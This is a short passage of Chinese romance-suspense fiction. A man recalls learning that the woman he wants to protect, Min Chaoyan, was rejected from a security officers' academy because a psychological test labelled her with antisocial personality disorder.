隋觉荆时常有种坠落的错觉。 如果顺着这股坠落的渴望纵身跃下, 在深渊尽头,能看见属于她的真实吗? “朝言,我该怎么办,要怎么做,才能保护好你……” 他闭上眼,将脸颊贴在闵朝言的掌心,近乎喟叹。 隋局长的声音在回忆中响起。 “隋觉荆,你知道当初,为什么明明闵朝言的成绩一骑绝尘,但治安官大学却拒绝录取她吗?” “因为唯独在最重要的一项测试里,她没有通过。” [精神状态检测] 经检测,该测试者为极端高功能反社会人格障碍。 这张陈旧的检测单上,写着一个人的名字: 闵朝言。